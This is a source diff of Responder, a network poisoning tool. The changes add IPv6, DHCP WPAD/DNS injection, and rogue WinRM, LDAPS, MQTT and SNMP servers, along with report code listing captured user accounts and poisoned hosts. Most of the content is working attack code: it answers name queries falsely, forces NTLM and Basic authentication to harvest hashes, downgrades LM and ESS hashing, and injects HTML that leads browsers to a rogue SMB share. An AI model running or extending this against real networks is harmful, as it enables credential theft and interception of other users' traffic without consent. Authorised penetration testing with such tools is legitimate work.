|
||||
retrieval. This may cause a login prompt. Default:
|
||||
Off
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to
|
||||
be ON. This option is highly effective when combined
|
||||
with -r. Default: Off
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: Off
|
||||
-v, --verbose Increase verbosity.
|
||||
--version show program's version number and exit
|
||||
-h, --help show this help message and exit
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests without responding.
|
||||
-I eth0, --interface=eth0
|
||||
Network interface to use, you can use 'ALL' as a
|
||||
wildcard for all interfaces
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
|
||||
Poison all requests with another IPv6 address than
|
||||
Responder's one.
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||
-d, --DHCP Enable answers for DHCP broadcast requests. This
|
||||
option will inject a WPAD server in the DHCP response.
|
||||
Default: False
|
||||
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
|
||||
response, otherwise a WPAD server will be added.
|
||||
Default: False
|
||||
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
||||
False
|
||||
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||
outgoing requests (format: host:port)
|
||||
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
||||
retrieval. This may cause a login prompt. Default:
|
||||
False
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to be
|
||||
ON. Default: False
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: False
|
||||
--disable-ess Force ESS downgrade. Default: False
|
||||
-v, --verbose Increase verbosity.
|
||||
|
||||
|
||||
|
||||
|
||||
## Donation ##
|
||||
@@ -168,17 +172,20 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu
|
||||
|
||||
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
|
||||
|
||||
Or BTC address:
|
||||
Paypal:
|
||||
|
||||
https://paypal.me/PythonResponder
|
||||
|
||||
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
|
||||
|
||||
## Acknowledgments ##
|
||||
|
||||
Late Responder development has been possible because of the donations received from individuals and companies.
|
||||
|
||||
We would like to thanks those major donator:
|
||||
We would like to thanks those major sponsors:
|
||||
|
||||
- SecureWorks : https://www.secureworks.com/
|
||||
- SecureWorks: https://www.secureworks.com/
|
||||
|
||||
- Synacktiv: https://www.synacktiv.com/
|
||||
|
||||
- Black Hills Information Security: http://www.blackhillsinfosec.com/
|
||||
|
||||
@@ -192,6 +199,7 @@ We would like to thanks those major donator:
|
||||
|
||||
Thank you.
|
||||
|
||||
|
||||
## Copyright ##
|
||||
|
||||
NBT-NS/LLMNR Responder
|
||||
|
||||
44
Report.py
44
Report.py
@@ -31,6 +31,10 @@ def DbConnect():
|
||||
cursor = sqlite3.connect("./Responder.db")
|
||||
return cursor
|
||||
|
||||
def FingerDbConnect():
|
||||
cursor = sqlite3.connect("./tools/RunFinger.db")
|
||||
return cursor
|
||||
|
||||
def GetResponderData(cursor):
|
||||
res = cursor.execute("SELECT * FROM Responder")
|
||||
for row in res.fetchall():
|
||||
@@ -39,7 +43,7 @@ def GetResponderData(cursor):
|
||||
def GetResponderUsernamesStatistic(cursor):
|
||||
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
||||
for row in res.fetchall():
|
||||
print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
|
||||
print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
|
||||
|
||||
def GetResponderUsernames(cursor):
|
||||
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
||||
@@ -57,16 +61,33 @@ def GetResponderCompleteHash(cursor):
|
||||
for row in res.fetchall():
|
||||
print('{0}'.format(row[0]))
|
||||
|
||||
def GetUniqueLookupsIP(cursor):
|
||||
res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
|
||||
for row in res.fetchall():
|
||||
if 'fe80::' in row[1]:
|
||||
pass
|
||||
else:
|
||||
print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
|
||||
|
||||
def GetUniqueLookups(cursor):
|
||||
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
||||
for row in res.fetchall():
|
||||
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
||||
|
||||
def GetUniqueDHCP(cursor):
|
||||
res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
|
||||
for row in res.fetchall():
|
||||
print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
|
||||
|
||||
def GetRunFinger(cursor):
|
||||
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
|
||||
for row in res.fetchall():
|
||||
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
|
||||
|
||||
def GetStatisticUniqueLookups(cursor):
|
||||
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||
for row in res.fetchall():
|
||||
print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
|
||||
print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
|
||||
|
||||
|
||||
def SavePoisonersToDb(result):
|
||||
@@ -82,8 +103,13 @@ def SaveToDb(result):
|
||||
result[k] = ''
|
||||
|
||||
cursor = DbConnect()
|
||||
print(color("[+] Generating report...", code = 3, modifier = 1))
|
||||
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
||||
print(color("[+] Generating report...\n", code = 3, modifier = 1))
|
||||
|
||||
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
|
||||
GetUniqueDHCP(cursor)
|
||||
print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
|
||||
GetUniqueLookupsIP(cursor)
|
||||
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
||||
GetUniqueLookups(cursor)
|
||||
GetStatisticUniqueLookups(cursor)
|
||||
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
|
||||
@@ -91,5 +117,11 @@ GetResponderUsernames(cursor)
|
||||
print(color("\n[+] Username details:", code = 2, modifier = 1))
|
||||
GetResponderUsernamesWithDetails(cursor)
|
||||
GetResponderUsernamesStatistic(cursor)
|
||||
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
||||
#GetResponderCompleteHash(cursor)
|
||||
print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1))
|
||||
cursor.close()
|
||||
try:
|
||||
cursor = FingerDbConnect()
|
||||
GetRunFinger(cursor)
|
||||
except:
|
||||
pass
|
||||
print('\n')
|
||||
|
||||
17
Responder.conf
Normal file → Executable file
17
Responder.conf
Normal file → Executable file
@@ -14,6 +14,9 @@ HTTPS = On
|
||||
DNS = On
|
||||
LDAP = On
|
||||
DCERPC = On
|
||||
WINRM = On
|
||||
SNMP = Off
|
||||
MQTT = On
|
||||
|
||||
; Custom challenge.
|
||||
; Use "Random" for generating a random challenge for each requests (Default)
|
||||
@@ -36,15 +39,17 @@ AnalyzeLog = Analyzer-Session.log
|
||||
ResponderConfigDump = Config-Responder.log
|
||||
|
||||
; Specific IP Addresses to respond to (default = All)
|
||||
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
|
||||
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
|
||||
RespondTo =
|
||||
|
||||
; Specific NBT-NS/LLMNR names to respond to (default = All)
|
||||
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
|
||||
;RespondToName = WPAD, DEV, PROD, SQLINT
|
||||
RespondToName =
|
||||
|
||||
; Specific IP Addresses not to respond to (default = None)
|
||||
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
||||
; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding.
|
||||
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
|
||||
DontRespondTo =
|
||||
|
||||
; Specific NBT-NS/LLMNR names not to respond to (default = None)
|
||||
@@ -87,12 +92,12 @@ ExeFilename = ;files/filetoserve.exe
|
||||
ExeDownloadName = ProxyClient.exe
|
||||
|
||||
; Custom WPAD Script
|
||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
|
||||
; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
|
||||
WPADScript =
|
||||
|
||||
; HTML answer to inject in HTTP responses (before </body> tag).
|
||||
; Set to an empty string to disable.
|
||||
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
||||
HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
|
||||
; leave empty if you want to use the default one (redirect to SMB on your IP address).
|
||||
HTMLToInject =
|
||||
|
||||
[HTTPS Server]
|
||||
|
||||
|
||||
144
Responder.py
144
Responder.py
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python
|
||||
#!/usr/bin/env python3
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
@@ -25,34 +25,39 @@ from utils import *
|
||||
import struct
|
||||
banner()
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
|
||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||
|
||||
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
|
||||
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
||||
|
||||
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
||||
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
|
||||
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
|
||||
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
|
||||
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
||||
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
|
||||
|
||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||
|
||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
|
||||
|
||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if not os.geteuid() == 0:
|
||||
print(color("[!] Responder must be run as root."))
|
||||
sys.exit(-1)
|
||||
elif options.OURIP is None and IsOsX() is True:
|
||||
elif options.OURIP == None and IsOsX() == True:
|
||||
print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
elif options.ProxyAuth_On_Off and options.WPAD_On_Off:
|
||||
print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n")
|
||||
exit(-1)
|
||||
|
||||
settings.init()
|
||||
settings.Config.populate(options)
|
||||
@@ -61,9 +66,6 @@ StartupMessage()
|
||||
|
||||
settings.Config.ExpandIPRanges()
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
||||
|
||||
#Create the DB, before we start Responder.
|
||||
CreateResponderDb()
|
||||
|
||||
@@ -76,10 +78,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
@@ -92,10 +95,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
@@ -108,10 +112,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||
TCPServer.server_bind(self)
|
||||
@@ -119,12 +124,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.251"
|
||||
|
||||
MADDR6 = 'ff02::fb'
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
||||
|
||||
#IPV6:
|
||||
if (sys.version_info > (3, 0)):
|
||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
else:
|
||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
if settings.Config.Bind_To_ALL:
|
||||
@@ -132,21 +143,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.252"
|
||||
MADDR = '224.0.0.252'
|
||||
MADDR6 = 'FF02:0:0:0:0:0:1:3'
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
||||
|
||||
|
||||
#IPV6:
|
||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
if settings.Config.Bind_To_ALL:
|
||||
@@ -154,51 +169,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
#pass
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
|
||||
ThreadingUDPServer.allow_reuse_address = 1
|
||||
ThreadingUDPServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingTCPServer.allow_reuse_address = 1
|
||||
ThreadingTCPServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingUDPMDNSServer.allow_reuse_address = 1
|
||||
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingUDPLLMNRServer.allow_reuse_address = 1
|
||||
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingTCPServerAuth.allow_reuse_address = 1
|
||||
ThreadingTCPServerAuth.address_family = socket.AF_INET6
|
||||
|
||||
def serve_thread_udp_broadcast(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
def serve_NBTNS_poisoner(host, port, handler):
|
||||
serve_thread_udp_broadcast(host, port, handler)
|
||||
serve_thread_udp_broadcast('', port, handler)
|
||||
|
||||
def serve_MDNS_poisoner(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPMDNSServer((host, port), handler)
|
||||
server = ThreadingUDPMDNSServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
def serve_LLMNR_poisoner(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPLLMNRServer((host, port), handler)
|
||||
server = ThreadingUDPLLMNRServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
raise
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
|
||||
def serve_thread_udp(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
@@ -206,10 +231,10 @@ def serve_thread_udp(host, port, handler):
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
@@ -217,10 +242,10 @@ def serve_thread_tcp(host, port, handler):
|
||||
def serve_thread_tcp_auth(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServerAuth((host, port), handler)
|
||||
server = ThreadingTCPServerAuth(('', port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServerAuth((host, port), handler)
|
||||
server = ThreadingTCPServerAuth(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
@@ -230,20 +255,26 @@ def serve_thread_SSL(host, port, handler):
|
||||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert, key)
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.socket = context.wrap_socket(server.socket, server_side=True)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.socket = context.wrap_socket(server.socket, server_side=True)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
if (sys.version_info < (3, 0)):
|
||||
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
|
||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||
|
||||
threads = []
|
||||
|
||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||
@@ -262,6 +293,14 @@ def main():
|
||||
from servers.HTTP import HTTP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))
|
||||
|
||||
if settings.Config.WinRM_On_Off:
|
||||
from servers.WinRM import WinRM
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))
|
||||
|
||||
if settings.Config.WinRM_On_Off:
|
||||
from servers.WinRM import WinRM
|
||||
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 5986, WinRM,)))
|
||||
|
||||
if settings.Config.SSL_On_Off:
|
||||
from servers.HTTP import HTTP
|
||||
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))
|
||||
@@ -277,7 +316,7 @@ def main():
|
||||
|
||||
if settings.Config.WPAD_On_Off:
|
||||
from servers.HTTP_Proxy import HTTP_Proxy
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,)))
|
||||
|
||||
if settings.Config.ProxyAuth_On_Off:
|
||||
from servers.Proxy_Auth import Proxy_Auth
|
||||
@@ -314,8 +353,13 @@ def main():
|
||||
if settings.Config.LDAP_On_Off:
|
||||
from servers.LDAP import LDAP, CLDAP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
|
||||
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,)))
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
|
||||
|
||||
if settings.Config.MQTT_On_Off:
|
||||
from servers.MQTT import MQTT
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))
|
||||
|
||||
if settings.Config.SMTP_On_Off:
|
||||
from servers.SMTP import ESMTP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,)))
|
||||
@@ -330,11 +374,23 @@ def main():
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
|
||||
|
||||
if settings.Config.SNMP_On_Off:
|
||||
from servers.SNMP import SNMP
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))
|
||||
|
||||
for thread in threads:
|
||||
thread.setDaemon(True)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||
if settings.Config.AnalyzeMode:
|
||||
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
||||
if settings.Config.Quiet_Mode:
|
||||
print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
|
||||
|
||||
|
||||
if settings.Config.DHCP_On_Off:
|
||||
from poisoners.DHCP import DHCP
|
||||
DHCP(settings.Config.DHCP_DNS)
|
||||
|
||||
while True:
|
||||
time.sleep(1)
